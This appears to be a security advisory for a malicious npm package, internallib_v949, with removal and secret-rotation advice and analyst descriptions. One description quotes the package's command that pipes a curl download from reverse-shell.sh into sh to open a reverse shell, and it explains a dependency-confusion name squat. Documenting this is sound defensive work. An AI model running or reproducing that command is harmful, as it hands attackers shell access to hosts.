internallib_v949 (npm) · Malicious Code
Affects internallib_v949Source GCVE Database
Malicious package : remove internallib_v949 and rotate any secrets on hosts that installed it.
Data as of 19 Sep 2026, 01:33 UTC
Malicious package
Published to npm · OSV MAL-2026-16294
What to do
Remove internallib_v949 from every project, lockfile and image that pulls it in. Treat any host that installed it as compromised: rotate the credentials, tokens and keys it could read, from a clean machine.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| npminternallib_v949 | Affected
| Fixed in– |
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9) index.js line 5 invokes child_process.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script into sh to open a reverse shell to the hardcoded attacker endpoint 10.0.16.19:443. The exported function is on the main module load path, so any consumer that invokes it hands full interactive shell access on the installer's host to whoever controls that endpoint. package.json also declares a self-referential dependency on internallib_v949 ^1.0.0, matching the dependency-confusion pattern in which an internal package name is squatted on the public npm registry to intercept internal builds. The package name pattern (an unusual '_v949' suffix on a generic 'internallib' base) is consistent with a targeted internal-name squat rather than a legitimate library. ## Source: ghsa-malware (56b1dae4951f7ccdf0525a1e36a72191f18339c2101dda0b06482ee0efd70b46) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.